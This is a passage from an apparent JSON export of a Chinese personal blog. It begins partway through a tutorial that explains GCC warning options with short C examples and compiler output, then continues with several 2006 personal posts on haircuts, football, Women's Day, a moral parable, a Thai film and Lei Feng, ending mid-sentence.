warning: missing braces around initializer\ntest_missing_braces.c:19: warning: (near initialization for `array1[0]\u0026rsquo;)\ntest_missing_braces.c:21: warning: missing braces around initializer\ntest_missing_braces.c:21: warning: (near initialization for `l1.start\u0026rsquo;)\n[-Wparentheses]\n这是一个很有用的警告选项，它能帮助你从那些看起来语法正确但却由于操作符优先级或者代码结构\u0026rsquo;障眼\u0026rsquo;而导致错误运行的代码中解脱出来。好长的一个长句，还是看例子理解吧！:)\ne.g.\n/*\n* test_parentheses.c\n* gcc -Wparentheses test_parentheses.c\n*/\n#include\nint main() {\nint a = 1;\nint b = 1;\nint c = 1;\nint d = 1;\nif (a \u0026amp;\u0026amp; b || c) { // 人们很难记住逻辑操作符的操作顺序，所以编译器建议加上()\n;\n}\nif (a == 12)\nif (b)\nd = 9; else\nd = 10; //从代码的缩进上来看，这句仿佛是if (a == 12)的else分支\nprintf(\u0026ldquo;the d is %d\\n\u0026rdquo;, d); //期待d = 10, 而结果却是1\nreturn 0;\n}\ngcc -Wparentheses test_parentheses.c\ntest_parentheses.c: In function `main\u0026rsquo;:\ntest_parentheses.c:13: warning: suggest parentheses around \u0026amp;\u0026amp; within ||\ntest_parentheses.c:17: warning: suggest explicit braces to avoid ambiguous `else\u0026rsquo;\n输出：\nthe d is 1\n[-Wsequence-point]\n关于顺序点(sequence point)，在C标准中有解释，不过很晦涩。我们在平时编码中尽量避免写出与实现相关、受实现影响的代码便是了。而-Wsequence-point选项恰恰可以帮我们这个忙，它可以帮我们查出这样的代码来，并给出其警告。\ne.g.\n/*\n* test_sequence_point.c\n* gcc -Wsequence-point test_sequence_point.c\n*/\n#include\nint main() {\nint i = 12;\ni = i–;\nprintf(\u0026ldquo;the i is %d\\n\u0026rdquo;, i);\nreturn 0;\n}\ngcc -Wsequence-point test_sequence_point.c\ntest_sequence_point.c: In function `main\u0026rsquo;:\ntest_sequence_point.c:10: warning: operation on `i\u0026rsquo; may be undefined\n在两个平台上给出的编译警告都是一致的，但是输出结果却大相径庭。\nSolaris输出：\nthe i is 11\nWindows输出：\nthe i is 12\n类似的像这种与顺序点相关的代码例子有：\ni = i++;\na[i] = b[i++]\na[i++] = i\n等等…\n[-Wswitch]\n这个选项的功能浅显易懂，通过文字描述也可以清晰的说明。当以一个枚举类型(enum)作为switch语句的索引时但却没有处理default情况，或者没有处理所有枚举类型定义范围内的情况时，该选项会给处警告。\ne.g.\n/*\n* test_switch1.c\n*/\nenum week {\nSUNDAY,\nMONDAY,\nTUESDAY /* only an example , we omitted the others */\n};\nint test1() {\nenum week w = SUNDAY;\nswitch(w) {\ncase SUNDAY:\nbreak; // without default or the other case handlings\n};\nreturn 0;\n}\nint test2() { // Ok, won\u0026rsquo;t invoke even a warning\nenum week w = SUNDAY;\nswitch(w) {\ncase SUNDAY:\nbreak;\ndefault:\nbreak; };\nreturn 0;\n}\nint test3() { // Ok, won\u0026rsquo;t invoke even a warning\nenum week w = SUNDAY;\nswitch(w) {\ncase SUNDAY:\nbreak;\ncase MONDAY:\nbreak;\ncase TUESDAY:\nbreak; };\nreturn 0;\n}\ngcc -Wswitch -c test_switch.c\ntest_switch.c: In function `test1\u0026rsquo;:\ntest_switch.c:16: warning: enumeration value `MONDAY\u0026rsquo; not handled in switch\ntest_switch.c:16: warning: enumeration value `TUESDAY\u0026rsquo; not handled in switch\n[-Wunused]\n-Wunused是-Wunused-function、-Wunused-label、-Wunused-variable、-Wunused-value选项的集合，-Wunused-parameter需单独使用。\n(1) -Wunused-function用来警告存在一个未使用的static函数的定义或者存在一个只声明却未定义的static函数，参见下面例子中的func1和func2；\n(2) -Wunused-label用来警告存在一个使用了却未定义或者存在一个定义了却未使用的label，参加下面例子中的func3和func7；\n(3) -Wunused-variable用来警告存在一个定义了却未使用的局部变量或者非常量static变量；参见下面例子中func5和var1；\n(4) -Wunused-value用来警告一个显式计算表达式的结果未被使用；参见下面例子中func6\n(5) -Wunused-parameter用来警告一个函数的参数在函数的实现中并未被用到，参见下面例子中func4。\n下面是一个综合的例子\ne.g.\n/*\n* test_unused.c\n*/\nstatic void func1(); //to prove function used but never defined\nstatic void func2(); //to prove function defined but not used\nstatic void func3(); //to prove label used but never defined\nstatic void func7(); //to prove label defined but never used\nstatic void func4(int a); //to prove parameter declared but not used\nstatic void func5(); //to prove local variable defined but not used\nstatic void func6(); //to prove value evaluated but not used\nstatic int var1;\nvoid test() {\nfunc1();\nfunc3();\nfunc4(4);\nfunc5();\nfunc6();\n}\nstatic void func2() {\n; // do nothing\n}\nstatic void func3() {\ngoto over;\n}\nstatic void func4(int a) {\n; // do nothing\n}\nstatic void func5() {\nint a = 0;\n}\nstatic void func6() {\nint a = 0;\nint b = 6;\na + b;\n}\ngcc -Wunused-parameter -c test_unused.c //如果不是用-Wunused-parameter，则func4函数将不被警告。\ntest_unused.c: In function `func3\u0026rsquo;:\ntest_unused.c:30: label `over\u0026rsquo; used but not defined\ntest_unused.c: In function `func7\u0026rsquo;:\ntest_unused.c:35: warning: deprecated use of label at end of compound statement\ntest_unused.c:34: warning: label `over\u0026rsquo; defined but not used\ntest_unused.c: In function `func4\u0026rsquo;:\ntest_unused.c:37: warning: unused parameter `a\u0026rsquo;\ntest_unused.c: In function `func5\u0026rsquo;:\ntest_unused.c:42: warning: unused variable `a\u0026rsquo;\ntest_unused.c: In function `func6\u0026rsquo;:\ntest_unused.c:48: warning: statement with no effect\ntest_unused.c: At top level:\ntest_unused.c:6: warning: `func1\u0026rsquo; used but never defined\ntest_unused.c:25: warning: `func2\u0026rsquo; defined but not used\ntest_unused.c:14: warning: `var1\u0026rsquo; defined but not used\n[-Wuninitialized]\n该警告选项用于检查一个局部自动变量在使用之前是否已经初始化了或者在一个longjmp调用可能修改一个non-volatile automatic variable时给出警告。目前编译器还不是那么smart，所以对有些可以正确按照程序员的意思运行的代码还是给出警告。而且该警告选项需要和\u0026rsquo;-O\u0026rsquo;选项一起使用，否则你得不到任何uinitialized的警告。\ne.g.\n/*\n* test_uninitialized.c\n*/\nint test(int y) {\nint x;\nswitch (y) {\ncase 1:\nx = 11;\nbreak;\ncase 2:\nx = 22;\nbreak;\ncase 3:\nx = 33;\nbreak;\n}\nreturn x;\n}\ngcc -Wuninitialized -O -c test_uninitialized.c\ntest_uninitialized.c: In function `test\u0026rsquo;:\ntest_uninitialized.c:6: warning: `x\u0026rsquo;\nmight be used uninitialized in this function\n2、非-Wall集合警告选项\n以下讨论的这些警告选项并不包含在-Wall中，需要程序员显式添加。\n[-Wfloat-equal]\n该项用来检查浮点值是否出现在相等比较的表达式中。\ne.g.\n/*\n* test_float_equal.c\n*/\nvoid test(int i) {\ndouble d = 1.5;\nif (d == i) {\n;\n}\n}\ngcc -Wfloat-equal -c test_float_equal.c\ntest_float_equal.c: In function `test\u0026rsquo;:\ntest_float_equal.c:8: warning: comparing floating point with == or != is unsafe\n[-Wshadow]\n当局部变量遮蔽(shadow)了参数、全局变量或者是其他局部变量时，该警告选项会给我们以警告信息。\ne.g.\n/*\n* test_shadow.c\n*/\nint g;\nvoid test(int i) {\nshort i;\ndouble g;\n}\ngcc -Wshadow -c test_shadow.c\ntest_shadow.c: In function `test\u0026rsquo;:\ntest_shadow.c:9: warning: declaration of `i\u0026rsquo; shadows a parameter\ntest_shadow.c:10: warning: declaration of `g\u0026rsquo; shadows a global declaration\ntest_shadow.c:6: warning: shadowed declaration is here\n[-Wbad-function-cast]\n当函数(准确地说应该是函数返回类型)被转换为非匹配类型时，均产生警告。\ne.g.\n/*\n* test_bad_func_case.c\n*/\nint add(int a, int b) {\nreturn a+b;\n}\nvoid test() {\nchar *p = (char*)add(1, 13);\n}\ngcc -Wbad-function-cast -c test_bad_func_case.c\ntest_bad_func_case.c: In function `test\u0026rsquo;:\ntest_bad_func_case.c:11: warning: cast does not match function type\n[-Wcast-qual]\n当去掉修饰源Target的限定词(如const)时，给出警告。\ne.g.\n/*\n* test_cast_qual.c\n*/\nvoid test() {\nchar c = 0;\nconst char *p = \u0026amp;c;\nchar *q;\nq = (char*)p;\n}\ngcc -Wcast-qual -c test_cast_qual.c\ntest_cast_qual.c: In function `test\u0026rsquo;:\ntest_cast_qual.c:10: warning: cast discards qualifiers from pointer target type\n[-Wcast-align]\n这是个非常有用的选项，特别是对于在Solaris这样的对内存对齐校验的平台尤其重要。它用于在从对齐系数小的地址(如char*)转换为对齐系数大的地址(如int*)转换时给出警告。\ne.g.\n/*\n* test_cast_align.c\n*/\n#include\nint main() {\nchar c = 1;\nchar *p = \u0026amp;c; //ok\nint *q = (int*)p; //bad align-cast\nprintf(\u0026ldquo;the *q is %d\\n\u0026rdquo;, *q);\nreturn 0;\n}\ngcc -Wcast-align test_cast_align.c\ntest_cast_align.c: In function `main\u0026rsquo;:\ntest_cast_align.c:9: warning: cast increases required alignment of target type\n输出：\n总线错误 (（主存储器）信息转储) //on Solaris 9\n[-Wsign-compare]\n在有符号数和无符号数进行值比较时，有符号数可能在比较之前被转换为无符号数而导致结果错误。使用该选项会对这样的情况给出警告。\ne.g.\n/*\n* test_sign_compare.c\n*/\n#include\nint main() {\nunsigned int i = 128;\nsigned int j = -1;\nif (i \u0026lt; j) {\nprintf(\u0026ldquo;i \u0026lt; j\\n\u0026rdquo;);\n} else {\nprintf(\u0026ldquo;i \u0026gt; j\\n\u0026rdquo;);\n}\nreturn 0;\n}\ngcc -Wsign-compare test_sign_compare.c\ntest_sign_compare.c: In function `main\u0026rsquo;:\ntest_sign_compare.c:10: warning: comparison between signed and unsigned\n输出：\ni \u0026lt; j\n[-Waggregate-return]\n如果一个函数返回一个聚合类型，如结构体、联合或者数组，该选项就会给出警告信息。较简单不举例了。\n[-Wmultichar]\n当我们写下如此代码时:char c = \u0026lsquo;peter\u0026rsquo;, 使用该选项会给出警告。这个选项是默认选项，你无需单独使用该选项，不过你可以使用-Wno-multichar来关闭这些警告信息，但是这可是不建议你去做的。对于char c = \u0026lsquo;peter\u0026rsquo;这样的代码的处理是与平台相关，不可移植的。\ne.g.\n/*\n* test_multichar.c\n*/\nint main() {\nchar c = \u0026lsquo;peter\u0026rsquo;;\nprintf(\u0026ldquo;c is %c\\n\u0026rdquo;, c);\nreturn 0;\n}\n但这里在Windows和Solaris平台输出的结果却一致:\nc is r\n[-Wunreachable-code]\n这个选项是一个检查冗余代码或疏忽代码好办法。它一旦检查到你的代码中有不可达的代码，就会发出警告。这些代码往往会存在潜在的危机。\ne.g.\n/*\n* test_unreachable.c\n*/\nint test(char c) {\nif (c \u0026lt; 256) {\nreturn 0;\n} else {\nreturn 1;\n}\n}\ngcc -Wunreachable-code -c test_unreachable.c\ntest_unreachable.c: In function `test\u0026rsquo;:\ntest_unreachable.c:6: warning: comparison is always true due to limited range of data type\ntest_unreachable.c:9: warning: will never be executed\n[-Wconvertion]\n由于原型定义而引起的定点和浮点数之间的隐式转换(强制转换)或者由有符号数和无符号数之间隐式转换转换引起的警告。\ne.g.\n/*\n* test_conversion.c\n*/\n#include\nvoid getdouble(double d) {\n; // do nothing\n}\nint main() {\nunsigned int k;\nint n = 12;\nk = -1;\nk = (unsigned int)-1; // ok, explicit conversion ,no warning\ngetdouble(n);\nreturn 0;\n}\ngcc -Wconversion test_conversion.c\ntest_conversion.c: In function `main\u0026rsquo;:\ntest_conversion.c:15: warning: negative integer implicitly converted to unsigned type\ntest_conversion.c:18: warning: passing arg 1 of `getdouble\u0026rsquo; as floating rather than integer due to prototype\n3、-Wtraditional和-W\n这两个警告选项其实也都是一些组合(大部分都在上面提到过)，前者用来在代码中使用了标准C不同于传统C的特性时，发出警告；后者也是针对一些事件打开一个警告集合。关于它们的说明具体可参见\u0026rsquo;Using the GNU Compiler Collection\u0026rsquo;。\n[注1]\n本文中的例子的测试环境为Solaris 9 SPARC平台，GCC-3.2和Windows XP Intel x86平台，mingw32 gcc3.4.2，如无特殊差异，所有注释均针对这两个测试环境。\n","permalink":"https://tonybai.com/2006/03/14/explain-gcc-warning-options-by-examples/","summary":"\u003cp\u003e程序员是追求完美的一族，即使是一般的程序员大多也都不想看到自己的程序中有甚至那么一点点的瑕疵。遇到任意一条编译器警告都坚决不放过。有人会说：我们可以使用比编译器更加严格的静态代码检查工具，如\u003ca href=\"http://www.splint.org/\"\u003esplint\u003c/a\u003e。这个建议也很不错。不过lint工具使用起来较繁琐，有时候还需要记住一些特定符号并插入到你自己的代码中才行，门槛较高，这也让很多人止步于此。那么我们就从此放弃么？不，如今的编译器做得都很好，它可以帮助我们的找到绝大多数可能出现问题的代码，前提是你要学会控制编译器去找到这些问题代码，而熟悉编译器的警告选项恰恰是体现控制力的好方法。当你可以自如控制编译器警告输出的时候，你就算是\u0026rsquo;入道\u0026rsquo;了，同时你对语言的理解也更进一步了。\u003c/p\u003e","title":"GCC警告选项例解"},{"content":"自认为自己不是一个不修边幅的人，但是我却始终对很多人认为是’享受’的理发和洗澡颇有微词。\n上周末把头发理了，坐在理发店的椅子上，怎么也感觉不到那是在’享受’，总觉得自己和理发师的沟通有问题，本来心里想的发型是这样的，但是就是找不到任何专业一点的’术语’和理发师沟通，只能一个劲儿地说这边短点之类的模糊不清的词汇，多短算短呀。如果你遇到好的理发师，你算是幸运。但是一旦遇到一些不负责任的理发师，你的头就成了实验田了。那天一个同事就抱怨自己的头发被剪的’凹凸不平’，没法见人了，索性平时走路时扣上外衣的帽子，不让外人瞧见就是了。上周还作了一件事情那就是洗澡，我基本上是不到大的浴池去洗澡的，可是自己在家淋浴又太累，热水哗哗的流下来的时候真是相当的’热气腾腾’的，让人喘不过来气(浴室的排风伞坏了，还没找物业修呢^_^)，还哪有心情’清理’自己，只能以’量’取胜，勤洗呗。多痛苦呀，越是不喜欢还越要去做。\n痛苦有时会激发人们的想象力的。横戈曾经在他的遐想中想拥有’逃出克隆岛’中的’气垫摩托艇’，而下面是我的遐想：\n1、我希望拥有这样的一台理发设备，它由计算机程序来控制，当我坐在计算机前，一个相当漂亮的界面展现眼前，一个微型的扫描装置把我当前头发状态输入到计算机中，程序界面上马上显示出我的三维头像，当然要有很高的逼真度。在悬浮工具栏中有各种各样的对你的发型处理的工具和模板供你挑选，来塑造你想要的发型，如果你满意后，存盘。点击’Start Haircut’，一台外形酷似头盔的头罩将扣在你的头部，在1秒以内(也可以理解为瞬间)你的心头型就’出炉’了。也许你说这会不会很危险亚。这台仪器使用的是一种对生物无害的生物化学方法清理头发的，没有机械、刀具，怎能会对你造成伤害！而且在生成新发型的同时，各种养分源源不断输入你的头发，就好比现在的头发营养护理。\n2、我还希望有这样一种洗浴设备，我们平时把它放在卧室床铺正上方的天花板里面而不是放在浴室里，每天晚上临睡前或者感觉需要洗浴时，只需平躺在床上，轻按按钮，一阵柔和的光闪过后，你的身体就如同重新焕发青春一样，一切污垢均消逝，而且你会感觉到一种与传统洗浴后相同的轻松舒服的感觉，还有阵阵香气散发出来。至于这种设备的工作原理，暂无可奉告(还没激发出来呢^_^)。\n相信拥有了上述两种设备，我就不会因为理发和洗澡而烦恼了:)。\n","permalink":"https://tonybai.com/2006/03/14/thought-on-haircut-and-bath/","summary":"\u003cp\u003e自认为自己不是一个不修边幅的人，但是我却始终对很多人认为是’享受’的理发和洗澡颇有微词。\u003c/p\u003e\n\u003cp\u003e上周末把头发理了，坐在理发店的椅子上，怎么也感觉不到那是在’享受’，总觉得自己和理发师的沟通有问题，本来心里想的发型是这样的，但是就是找不到任何专业一点的’术语’和理发师沟通，只能一个劲儿地说这边短点之类的模糊不清的词汇，多短算短呀。如果你遇到好的理发师，你算是幸运。但是一旦遇到一些不负责任的理发师，你的头就成了实验田了。那天一个同事就抱怨自己的头发被剪的’凹凸不平’，没法见人了，索性平时走路时扣上外衣的帽子，不让外人瞧见就是了。上周还作了一件事情那就是洗澡，我基本上是不到大的浴池去洗澡的，可是自己在家淋浴又太累，热水哗哗的流下来的时候真是相当的’热气腾腾’的，让人喘不过来气(浴室的排风伞坏了，还没找物业修呢^_^)，还哪有心情’清理’自己，只能以’量’取胜，勤洗呗。多痛苦呀，越是不喜欢还越要去做。\u003c/p\u003e","title":"理发与洗澡之遐想篇"},{"content":"欧洲冠军杯赛一直是世界球迷所共同瞩目的高水平比赛，其地位也几乎是’一杯之下，万杯之上’。但是由于直播时间的问题，很多中国球迷都无奈不能’实时’体验欧冠的风采，这其中也包括我。不过抽出时间看重播也是蛮不错的，毕竟高水平的比赛，重播也好看，我就是在重播中感受欧冠的。\n今天一早打开’新浪体育‘，显著标题’欧冠八强抽签‘。虽然还有一场比赛未完，但是这个抽签结果还是足以吸引各位球迷的眼球的。\n1、阿森纳 vs. 尤文图斯；\n2、里昂 vs. AC米兰；\n3、国米与阿贾克斯的胜者 vs. 比利亚雷亚尔；\n4、巴萨 vs. 本菲卡。\n也许这样的对局可能让你感到失望，除了阿森纳与尤文这场值得期待，好像其他场次强弱分明，悬念不多。我的感觉和大家是一样的，但是看一下四强的对阵后也许你就放弃了你的想法。举个简单的例子你是希望最终的决赛是’巴萨 vs. 尤文’还是’巴萨 vs 比利亚雷亚尔’呢？毋庸置疑，大家都希望越往后面的比赛越精彩，充满刺激和悬念的强强对抗才是我们的最爱。我觉得这个八强的抽签对于球迷来说是个’利好消息’。它让我们对四强以至于决赛有着更加强烈的憧憬，也使得今年欧冠的好看程度大大提升。我个人期望如日中天的巴萨能与老妇人尤文能够会师决赛，这是最好的结局。巴萨的入选自然不必多说，在痛快淋漓地两度’羞辱’英超冠军切尔西之后，我想大家都不会再质疑其进入决赛的能力了吧。拥有世界足球先生小罗、非洲足球先生埃托奥和阿根廷新星梅西组成的前场攻击三叉戟的巴萨会让任何一个对手都吃尽苦头的。至于’老妇人’我们不得不佩服他的运气真是太好了。在地狱中走了一圈又重返人间的尤文势必会更加珍惜这一上帝赐予他的机会。中国有句名言叫’大难不死，必有后福’，我们拭目以待，看看尤文的后福到底能持久到什么时候。如果有人说决赛中会有AC米兰的身影其实也不奇怪，毕竟大比分淘汰德甲冠军的AC米兰也是状态奇佳，特别要提到那个’回光返照’的因扎吉，这个久经沙场的’机会选手’一旦发起飚来还真是比得上这几天在北方肆虐的’沙尘暴’，那是相当的’刺眼’。拥有枪手亨利的阿森纳也是不可小觑的，虽说国内战绩不佳，但是冠军赛却一往无前，再淘汰了’明星队’皇马后，这支球队不能不让其对手都’肃然起敬’起来。\n至于其他几支球队，由于水平有限或对其不甚是了解也就不加以评说了，不过黑马的出现还是可能的，2003-2004年欧冠决赛就是在两只非豪门球队之间进行的，这也让球迷大跌眼镜，毕竟那样的决赛是我们不希望看到的。\n我们现在能做的只有期待，期待着豪门球队之间的’火星撞地球’！\n","permalink":"https://tonybai.com/2006/03/11/champions-league-is-brilliant-this-year/","summary":"\u003cp\u003e\u003ca href=\"http://www.uefa.com/index.html\"\u003e欧洲冠军杯赛\u003c/a\u003e一直是世界球迷所共同瞩目的高水平比赛，其地位也几乎是’一杯之下，万杯之上’。但是由于直播时间的问题，很多中国球迷都无奈不能’实时’体验欧冠的风采，这其中也包括我。不过抽出时间看重播也是蛮不错的，毕竟高水平的比赛，重播也好看，我就是在重播中感受欧冠的。\u003c/p\u003e\n\u003cp\u003e今天一早打开’\u003ca href=\"http://sports.sina.com.cn/\"\u003e新浪体育\u003c/a\u003e‘，显著标题’\u003ca href=\"http://sports.sina.com.cn/z/championsleague05/\"\u003e欧冠八强抽签\u003c/a\u003e‘。虽然还有一场比赛未完，但是这个抽签结果还是足以吸引各位球迷的眼球的。\u003cbr\u003e\n1、阿森纳 vs. 尤文图斯；\u003cbr\u003e\n2、里昂 vs. AC米兰；\u003cbr\u003e\n3、国米与阿贾克斯的胜者 vs. 比利亚雷亚尔；\u003cbr\u003e\n4、巴萨 vs. 本菲卡。\u003c/p\u003e\n\u003cp\u003e也许这样的对局可能让你感到失望，除了阿森纳与尤文这场值得期待，好像其他场次强弱分明，悬念不多。我的感觉和大家是一样的，但是看一下四强的对阵后也许你就放弃了你的想法。举个简单的例子你是希望最终的决赛是’巴萨 vs. 尤文’还是’巴萨 vs 比利亚雷亚尔’呢？毋庸置疑，大家都希望越往后面的比赛越精彩，充满刺激和悬念的强强对抗才是我们的最爱。我觉得这个八强的抽签对于球迷来说是个’利好消息’。它让我们对四强以至于决赛有着更加强烈的憧憬，也使得今年欧冠的好看程度大大提升。我个人期望如日中天的巴萨能与老妇人尤文能够会师决赛，这是最好的结局。巴萨的入选自然不必多说，在痛快淋漓地两度’羞辱’英超冠军切尔西之后，我想大家都不会再质疑其进入决赛的能力了吧。拥有世界足球先生小罗、非洲足球先生埃托奥和阿根廷新星梅西组成的前场攻击三叉戟的巴萨会让任何一个对手都吃尽苦头的。至于’老妇人’我们不得不佩服他的运气真是太好了。在地狱中走了一圈又重返人间的尤文势必会更加珍惜这一上帝赐予他的机会。中国有句名言叫’大难不死，必有后福’，我们拭目以待，看看尤文的后福到底能持久到什么时候。如果有人说决赛中会有AC米兰的身影其实也不奇怪，毕竟大比分淘汰德甲冠军的AC米兰也是状态奇佳，特别要提到那个’回光返照’的因扎吉，这个久经沙场的’机会选手’一旦发起飚来还真是比得上这几天在北方肆虐的’沙尘暴’，那是相当的’刺眼’。拥有枪手亨利的阿森纳也是不可小觑的，虽说国内战绩不佳，但是冠军赛却一往无前，再淘汰了’明星队’皇马后，这支球队不能不让其对手都’肃然起敬’起来。\u003c/p\u003e","title":"今年欧冠甚好看"},{"content":"今天是国际妇女节，中午午饭回来后，发现开发大厅里已经是’人去楼空’，一位男同事回来后感叹说’剩下的都是真爷们儿’。大伙一笑置之！\n公司在节日休假这方面还是很人性化的，昨天部门给每个女员工发了些小礼品，起码换来了她们脸上的笑容。午饭后大家闲聊，大家都不乏阿Q精神。什么’该设立男人节’、’女人放假是给男人先回家做饭去了’等等天马行空的话题都摆了出来。早上在内网论坛上就看到有人发帖问’下午姐妹们都去哪逛街亚？’，看来众多女士早就做好了’过三八节’的准备了。女人放假，周围环境一下子变了安静起来，耳盼中留下的只是键盘敲击声，少了些悦耳的女人的欢笑和高谈阔论之音。在内网发了一帖收集大家对’女人放假后带来的变化’的看法如下:\n1、清静\n2、内网论坛的访问速度明显变快\n3、办公室里吃零食的人少了\n4、感觉上好象是空气中少了CO2, 虽然不是人所必须的，但是少了一样会觉得不舒服(经典)\n5、有女孩在因为看女孩而工作心不在焉，没女孩了干脆没心情工作了（个别现象^_^）\n6、中午热饭盒不用等很长时间了\n7、邮件少了\n8、中午开发大厅菜的味道不如以前香了！\n…\n在发这篇blog的同时，该列表还在更新中。\n呵呵，阿Q完了。最后要祝天下所有有资格并愿意(现在越来越多的年轻女性不喜欢过，因为她们认为那是中年以上妇女过的节日)过三八节的女性节日快乐！^_^\n","permalink":"https://tonybai.com/2006/03/08/variation-after-women-are-all-on-vacation/","summary":"\u003cp\u003e今天是国际妇女节，中午午饭回来后，发现开发大厅里已经是’人去楼空’，一位男同事回来后感叹说’剩下的都是真爷们儿’。大伙一笑置之！\u003c/p\u003e\n\u003cp\u003e公司在节日休假这方面还是很人性化的，昨天部门给每个女员工发了些小礼品，起码换来了她们脸上的笑容。午饭后大家闲聊，大家都不乏阿Q精神。什么’该设立男人节’、’女人放假是给男人先回家做饭去了’等等天马行空的话题都摆了出来。早上在内网论坛上就看到有人发帖问’下午姐妹们都去哪逛街亚？’，看来众多女士早就做好了’过三八节’的准备了。女人放假，周围环境一下子变了安静起来，耳盼中留下的只是键盘敲击声，少了些悦耳的女人的欢笑和高谈阔论之音。在内网发了一帖收集大家对’女人放假后带来的变化’的看法如下:\u003c/p\u003e","title":"女人放假后的'环境变化'"},{"content":"偶然在今天的公司内部刊物的卷首语上看到这么一则短文’阴影是条纸龙’，心中顿泛起一丝波澜，相信很多朋友看了之后也会和我有同样的感受，遂在这里将之贴出来和大家分享。\n短文如下：\n人生中，经常有无数来自外部的打击，但这些打击究竟会对你产生怎样的影响，最终决定权在你手中。\n祖父用纸给我做过一条长龙。长龙腹腔的空隙仅仅只能容纳几只蝗虫，投放进去，它们都在里面死了，无一幸免！祖父说：\u0026ldquo;蝗虫性子太躁，除了挣扎，它们没想过用嘴巴去咬破长龙，也不知道一直向前可以从另一端爬出来。因而，尽管它有铁钳般的嘴壳和锯齿一般的大腿，也无济于事。\u0026ldquo;当祖父把几只同样大小的青虫从龙头放进去，然后关上龙头，奇迹出现了：仅仅几分钟，小青虫们就一一地从龙尾爬了出来。\n温馨提示：命运一直藏匿在我们的思想里。许多人走不出人生各个不同阶段或大或小的阴影，并非因为他们天生的个人条件比别人要差多远，而是因为他们没有思想要将阴影纸龙咬破，也没有耐心慢慢地找准一个方向，一步步地向前，直到眼前出现新的洞天。\n","permalink":"https://tonybai.com/2006/03/07/shadow-is-a-paper-dragon/","summary":"\u003cp\u003e偶然在今天的公司内部刊物的卷首语上看到这么一则短文’阴影是条纸龙’，心中顿泛起一丝波澜，相信很多朋友看了之后也会和我有同样的感受，遂在这里将之贴出来和大家分享。\u003c/p\u003e","title":"'阴影是条纸龙'"},{"content":"在自己的记忆中，能和泰国电影占上边的要属香港女星钟丽缇出演的’晚娘‘了，不过我也只是停留在听说的份儿上，到并未有幸看过。最近一段时间同事一直想我推荐’拳霸‘这部电影，说其中男主角的身手可与成龙大哥媲美，甚至在一些动作难度上超越后者，我半信半疑。之后一直没机会找到这部电影，直到今天看到了’拳霸2′，这让我第一次接触泰国电影。\n影片开始于一个泰国的小乡村，讲述着一对父子与大象一起的生活，大象在泰国人的心目中地位之高我想就像熊猫在中国一样吧。不同的事泰国象数目却要比熊猫多得多得多。纯朴的村情让我联想起国内的一些电影，如’那人.那山.那狗’等。很多电影的成功在于处理好了人与自然和人与人之间的和谐关系，因为这是大自然赋予人类的不可磨灭的共同的本性。说到这，电影无论从拍摄还是从情节上都还是让我很满足的，毕竟是一个电影业并不发达的泰国出品的电影。\n随着剧情的深入，动作戏和一些大场面的戏，如快艇追逐等逐渐增多，而恰恰就是这些戏在一些衔接和拍摄技巧手法方面照比欧美甚至是中国电影还有很大差距，个人观点，甚至在某些细节的把握上有些牵强，剧情的衔接也不是连惯，让第一遍看此篇的人有些迷糊，不知道有没有文化差异在里面^_^。\n再谈谈主演’托尼-贾’的身手。空谈是谁都不能接受的，而用对比的方式易于比较。我们大家对成龙大哥和李连杰的打斗风格想必都很熟悉了吧。以他们作为模板大家比较起来也容易一些。以其在库房和一群澳大利亚混混打斗时的’表演’来说，他既有成龙似的小巧和善于利用工具，又有李连杰似的拳拳到肉，其打斗速度不快，但招式都是极其实用有效的，有些动作设计也可以说’蛮’，想必和武术指导的水平有关系吧。要知道成龙和李连杰的武指都是世界一流的。要说’托尼-贾’成为前二者的接班还为时尚早，但是他的确给亚洲动作电影甚至是世界动作电影带来了一丝新的生气。另外我想能使他成功的还有他还算英俊的外表^_^。\n另外我想看完这部’拳霸2′之后如果只是想到其中的精彩打斗的话，那我想你只是看懂了’一半’电影，而影片中向大家’严重’讲述的一个事实就是’保护野生动物’，而这点我们中国人做的的确不好。在影片中的那个反派集团就是中国人的，这不免让我们有些惭愧。\n总之，’拳霸2′可以说是一步不错的片子，’托尼-贾’疯狂的甚至是不要命硬汉形象必定给你带来不一样的感觉。\n","permalink":"https://tonybai.com/2006/03/05/be-aware-of-tailand-film/","summary":"\u003cp\u003e在自己的记忆中，能和泰国电影占上边的要属香港女星\u003ca href=\"http://ent.sina.com.cn/s/h/f/zlt.html\"\u003e钟丽缇\u003c/a\u003e出演的’\u003ca href=\"http://ent.sina.com.cn/m/f/f/jandara.html\"\u003e晚娘\u003c/a\u003e‘了，不过我也只是停留在听说的份儿上，到并未有幸看过。最近一段时间同事一直想我推荐’\u003ca href=\"http://ent.sina.com.cn/m/c/f/quanb/index.html\"\u003e拳霸\u003c/a\u003e‘这部电影，说其中男主角的身手可与\u003ca href=\"http://ent.sina.com.cn/s/h/f/clong.html\"\u003e成龙大哥\u003c/a\u003e媲美，甚至在一些动作难度上超越后者，我半信半疑。之后一直没机会找到这部电影，直到今天看到了’拳霸2′，这让我第一次接触泰国电影。\u003c/p\u003e\n\u003cp\u003e影片开始于一个泰国的小乡村，讲述着一对父子与大象一起的生活，大象在泰国人的心目中地位之高我想就像熊猫在中国一样吧。不同的事泰国象数目却要比熊猫多得多得多。纯朴的村情让我联想起国内的一些电影，如’那人.那山.那狗’等。很多电影的成功在于处理好了人与自然和人与人之间的和谐关系，因为这是大自然赋予人类的不可磨灭的共同的本性。说到这，电影无论从拍摄还是从情节上都还是让我很满足的，毕竟是一个电影业并不发达的泰国出品的电影。\u003c/p\u003e","title":"初识泰国电影"},{"content":"每年的3月5号，全中国人民都会追忆一个已经逝去多年的’年轻人’，他就是雷锋。他身上的无私奉献、助人为乐的精神品质影响和感动着新中国的几代人，’向雷锋同志学习‘的口号早已烙印在几乎每个成年中国人的心里。雷锋虽然已经离开我们40余年了，我们仍然在寻找着现实中的’雷锋’。\n‘雷锋精神’，用现代语言来说，就是一个冠名词。大凡其后的所有先锋模范人物，都基本用具备’雷锋精神’来宣传报道。但作为13亿中国人民的普通一员的你我在日常生活中很难接触到这些凤毛麟角的先锋模范人物。那么是不是说’雷锋精神’就远离我们了呢？我想’雷锋精神’不是教条，目前它表现的更加广义化了，而且它每天每时都在发生，就因为这样它才不易被发觉。或者说一些具有’雷锋精神’特征的行为已经日常化了，这是整个社会在进步的表现。扶老携幼，主动让座；一家有难，八方支援；不计回报，默默奉献等等都是’雷锋精神’的广义现象。套用流行词藻可以这样认为：’雷锋精神’是’名人’，传统美德是’草根’。当今社会呼唤更多的’雷锋名人’，其宣传效应可以更好的影响和教育国民，但是真正推动社会进步的却是全社会的’草根雷锋’。\n‘雷锋精神’草根化我觉得是一个很好的趋势，这说明我们的道德水平在提升，整个社会在进步。我的理解：只要你我用心，我们都可以